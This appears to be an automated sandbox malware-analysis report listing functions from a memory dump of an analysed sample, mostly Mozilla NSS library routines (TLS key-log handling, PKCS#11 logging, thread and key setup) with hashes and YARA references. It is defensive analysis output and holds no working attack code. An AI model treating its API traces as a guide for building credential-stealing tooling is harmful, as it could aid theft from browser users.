ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6D6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C6D6EFC
PR_NewLock.NSS3 ref: 6C6D6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6D6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C6D6BF7), ref: 6C6D6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C6D6BF7), ref: 6C6D6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C6D6BF7), ref: 6C6D6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C6D6BF7), ref: 6C6D6FFD

Strings

SSLFORCELOCKS, xrefs: 6C6D6F2B
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C6D6F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C6D6FDB
SSLKEYLOGFILE, xrefs: 6C6D6EB1
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C6D6FF8
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C6D6EF7

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: dfa51dcc9ce838c24f376449475b8f22cf13e08d7512abd79803d09f7a9293a3
Instruction ID: 71b94ec6333c45e826c5cd2d81642d89f03be67e93e761b00348e05a89065053
Opcode Fuzzy Hash: dfa51dcc9ce838c24f376449475b8f22cf13e08d7512abd79803d09f7a9293a3
Instruction Fuzzy Hash: 66A12AB3A59D9086E710477CDC0238836A2A78732AF5A4779E932C7ED8DB75F440874B

Function 6C655DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C655DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C655E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C655E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C655E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C655EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C655ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C655F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C655F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C655F89
free.MOZGLUE(?), ref: 6C655FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C655FB6
free.MOZGLUE(00000000), ref: 6C655FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C65600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C656079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C656084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C656094

Strings

, xrefs: 6C655EEB

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: d40c670c9a976feed2bece2698ea82cc74a2efa05f627eaa799f3783b2f9c2c8
Instruction ID: 010ed80d3828e4ac426ea47b877d8d639bcb82364c5b1495b2e84653cb77542e
Opcode Fuzzy Hash: d40c670c9a976feed2bece2698ea82cc74a2efa05f627eaa799f3783b2f9c2c8
Instruction Fuzzy Hash: DD8118B1E002059BDF00CF64CD88B9E77B4AF45318F644528E85AE7791E731E925CBD9

Function 6C674E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C674E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C674EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C674EC7

Part of subcall function 6C75D930: PL_strncpyz.NSS3(?,?,?), ref: 6C75D963

PR_LogPrint.NSS3(?,00000000), ref: 6C674EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C674F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C674F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C674F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C674F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C674F68

Strings

hSession = 0x%x, xrefs: 6C674EA2, 6C674EB2
pTemplate = 0x%p, xrefs: 6C674F4A
nul, xrefs: 6C674F82, 6C674FB2
hObject = 0x%x, xrefs: 6C674EF5, 6C674F05
ulCount = %d, xrefs: 6C674F63
C_GetAttributeValue, xrefs: 6C674E7E
(CK_INVALID_HANDLE), xrefs: 6C674EC0, 6C674F13

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nul
API String ID: 1003633598-784148332
Opcode ID: 194578cd172c8020b140eb50808f3884d4d7d95c1914668f167dda2e042de5d2
Instruction ID: 103a5ef34d95330e8b3e8073c184110b3ab5ae8844f3bfb2b8feff4886f13b82
Opcode Fuzzy Hash: 194578cd172c8020b140eb50808f3884d4d7d95c1914668f167dda2e042de5d2
Instruction Fuzzy Hash: D141E671601104ABDB108BA5EE8CFAF37B5EB8331DF444834F80957A11DB34AA59CF6A

Function 6C674CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C674CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C674D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C674D37

Part of subcall function 6C75D930: PL_strncpyz.NSS3(?,?,?), ref: 6C75D963

PR_LogPrint.NSS3(?,00000000), ref: 6C674D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C674D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C674D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C674DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C674DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C674E20

Strings

hSession = 0x%x, xrefs: 6C674D12, 6C674D22
pulSize = 0x%p, xrefs: 6C674DB7
nul, xrefs: 6C674DD4, 6C674DFF
hObject = 0x%x, xrefs: 6C674D65, 6C674D75
*pulSize = 0x%x, xrefs: 6C674E1B
C_GetObjectSize, xrefs: 6C674CEE
(CK_INVALID_HANDLE), xrefs: 6C674D30, 6C674D83

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nul
API String ID: 1003633598-1004013669
Opcode ID: 819cc285508a9ba89d5388cb45cf4b5b20536cc74e22bb9c2fe097ae6279e6ef
Instruction ID: 214b6a124662ce116786e70cc158b307077bae078c1dd3a04ee8a4d3bd104e7b
Opcode Fuzzy Hash: 819cc285508a9ba89d5388cb45cf4b5b20536cc74e22bb9c2fe097ae6279e6ef
Instruction Fuzzy Hash: 2141D371600104AFDB108B55EF8CBAE3BB5EB4334EF444834F8096BA11DB309958CF6A

Function 6C677C90 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C677CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C677CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C677CF3

Part of subcall function 6C75D930: PL_strncpyz.NSS3(?,?,?), ref: 6C75D963

PR_LogPrint.NSS3(?,00000000), ref: 6C677D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C677D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C677D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C677D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C677D77

Strings

hSession = 0x%x, xrefs: 6C677CCE, 6C677CDE
ulSignatureLen = %d, xrefs: 6C677D72
nul, xrefs: 6C677D8F, 6C677DC3
ulDataLen = %d, xrefs: 6C677D40
C_Verify, xrefs: 6C677CB1
pData = 0x%p, xrefs: 6C677D25
(CK_INVALID_HANDLE), xrefs: 6C677CEC
pSignature = 0x%p, xrefs: 6C677D59

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify$nul
API String ID: 1003633598-3678422964
Opcode ID: fad5579677c22f5427b4e5f96593ec7021642f7b068a6495bd706a888d984742
Instruction ID: fcde29e9787012d6cc7ef44809b61981ca68a972d6c616567ab8164f81951204
Opcode Fuzzy Hash: fad5579677c22f5427b4e5f96593ec7021642f7b068a6495bd706a888d984742
Instruction Fuzzy Hash: F531B071601144AFDB119BA5EE4CEAE3BF1EB4331DF484824E80C67A11DB309958CBAA

Function 6C672F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C672F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C672F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C672F63

Part of subcall function 6C75D930: PL_strncpyz.NSS3(?,?,?), ref: 6C75D963

PR_LogPrint.NSS3(?,00000000), ref: 6C672F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C672F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C672FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C672FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C672FE7

Strings

C_SetPIN, xrefs: 6C672F21
hSession = 0x%x, xrefs: 6C672F3E, 6C672F4E
pNewPin = 0x%p, xrefs: 6C672FC9
ulNewLen = %d, xrefs: 6C672FE2
pOldPin = 0x%p, xrefs: 6C672F95
nul, xrefs: 6C672FFF, 6C673030
ulOldLen = %d, xrefs: 6C672FB0
(CK_INVALID_HANDLE), xrefs: 6C672F5C

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$nul
API String ID: 1003633598-3330528970
Opcode ID: c46d6d94c6b930925e80b942ec29c09d4398d5e8479535d493c74f4a861b7e04
Instruction ID: 8ec374cbc66e84e35e74b22e73ebb50a9868a9bdd4d3d35d935f15b0b22b3f8b
Opcode Fuzzy Hash: c46d6d94c6b930925e80b942ec29c09d4398d5e8479535d493c74f4a861b7e04
Instruction Fuzzy Hash: DF31D575A01144EFCB10DFA5EE4CE9E3BB1EB4635DF884434E80867A11DB349958CBA6

Function 6C759C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C759C70
PR_NewLock.NSS3 ref: 6C759C85

Part of subcall function 6C7098D0: calloc.MOZGLUE(00000001,00000084,6C630936,00000001,?,6C63102C), ref: 6C7098E5

PR_NewCondVar.NSS3(00000000), ref: 6C759C96

Part of subcall function 6C62BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6321BC), ref: 6C62BB8C

PR_NewLock.NSS3 ref: 6C759CA9

Part of subcall function 6C7098D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C709946
Part of subcall function 6C7098D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5C16B7,00000000), ref: 6C70994E
Part of subcall function 6C7098D0: free.MOZGLUE(00000000), ref: 6C70995E

PR_NewLock.NSS3 ref: 6C759CB9
PR_NewLock.NSS3 ref: 6C759CC9
PR_NewCondVar.NSS3(00000000), ref: 6C759CDA

Part of subcall function 6C62BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C62BBEB
Part of subcall function 6C62BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C62BBFB
Part of subcall function 6C62BB80: GetLastError.KERNEL32 ref: 6C62BC03
Part of subcall function 6C62BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C62BC19
Part of subcall function 6C62BB80: free.MOZGLUE(00000000), ref: 6C62BC22

PR_NewCondVar.NSS3(?), ref: 6C759CF0
PR_NewPollableEvent.NSS3 ref: 6C759D03

Part of subcall function 6C74F3B0: PR_CallOnce.NSS3(6C7A14B0,6C74F510), ref: 6C74F3E6
Part of subcall function 6C74F3B0: PR_CreateIOLayerStub.NSS3(6C7A006C), ref: 6C74F402
Part of subcall function 6C74F3B0: PR_Malloc.NSS3(00000004), ref: 6C74F416
Part of subcall function 6C74F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C74F42D
Part of subcall function 6C74F3B0: PR_SetSocketOption.NSS3(?), ref: 6C74F455
Part of subcall function 6C74F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C74F473

Part of subcall function 6C709890: TlsGetValue.KERNEL32(?,?,?,6C7097EB), ref: 6C70989E

EnterCriticalSection.KERNEL32(?), ref: 6C759D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C759DAF
_PR_CreateThread.NSS3(00000000,6C759EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C759D9F

Part of subcall function 6C62B3C0: TlsGetValue.KERNEL32 ref: 6C62B403
Part of subcall function 6C62B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C62B459

_PR_CreateThread.NSS3(00000000,6C75A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C759DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C759DFC
_PR_CreateThread.NSS3(00000000,6C75A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C759E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C759E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C759E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C759E89

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 29fa0b03d0d387b8cbc654fe0af54a573d14ed95342966368f3ab8765c043318
Instruction ID: 54878f80bf2fa68f00126a230a55093d33ba55d6e0c517f5ffd484ff096b4588
Opcode Fuzzy Hash: 29fa0b03d0d387b8cbc654fe0af54a573d14ed95342966368f3ab8765c043318
Instruction Fuzzy Hash: 5B614FF1A00706AFD710DF75C948A67BBE8FF59208B044539E85AC7B51EB30E825CBA5

Function 6C653FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C654014

Part of subcall function 6C6539F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C655E6F,?), ref: 6C653A08
Part of subcall function 6C6539F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C655E6F), ref: 6C653A1C
Part of subcall function 6C6539F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C653A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C654038

Part of subcall function 6C6A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6487ED,00000800,6C63EF74,00000000), ref: 6C6A1000
Part of subcall function 6C6A0FF0: PR_NewLock.NSS3(?,00000800,6C63EF74,00000000), ref: 6C6A1016
Part of subcall function 6C6A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6487ED,00000008,?,00000800,6C63EF74,00000000), ref: 6C6A102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C65404D

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C76A0F4), ref: 6C6540C2

Part of subcall function 6C69F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C69F0C8
Part of subcall function 6C69F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C69F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C65409A

Part of subcall function 6C69BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C64E708,00000000,00000000,00000004,00000000), ref: 6C69BE6A
Part of subcall function 6C69BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6504DC,?), ref: 6C69BE7E
Part of subcall function 6C69BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C69BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6540DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6540F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C654108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C65411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C654137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C654150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C76A1C8), ref: 6C65417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C654194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6541A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6541B2
PK11_DestroyObject.NSS3(?,?), ref: 6C6541D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6541FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C76A1A8), ref: 6C65422D

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 77c427f187bd8a72ebf5c6e06ee5699301cd19cb60f59f20374bdc87a387e0e6
Instruction ID: 4fa395a8ee4f9e8186df9d5918da74469731329a810132b0759aa3c1fb2b660c
Opcode Fuzzy Hash: 77c427f187bd8a72ebf5c6e06ee5699301cd19cb60f59f20374bdc87a387e0e6
Instruction Fuzzy Hash: FD5126B5A043016BF7209A269C41B7776DC9F5134CFA40528F95AC6F82FB61E53882AE

Function 6C698E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C698E01,00000000,6C699060,6C7A0B64), ref: 6C698E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C698E01,00000000,6C699060,6C7A0B64), ref: 6C698E9E
PORT_ArenaAlloc_Util.NSS3(6C7A0B64,00000001,?,?,?,?,6C698E01,00000000,6C699060,6C7A0B64), ref: 6C698EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C698E01,00000000,6C699060,6C7A0B64), ref: 6C698EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C698E01,00000000,6C699060,6C7A0B64), ref: 6C698ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C698E01,00000000,6C699060,6C7A0B64), ref: 6C698EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C698E01), ref: 6C698EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C7A0B64,6C7A0B64), ref: 6C698F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C698F3F

Part of subcall function 6C69A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C69A421,00000000,00000000,6C699826), ref: 6C69A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C69904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C698E76

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
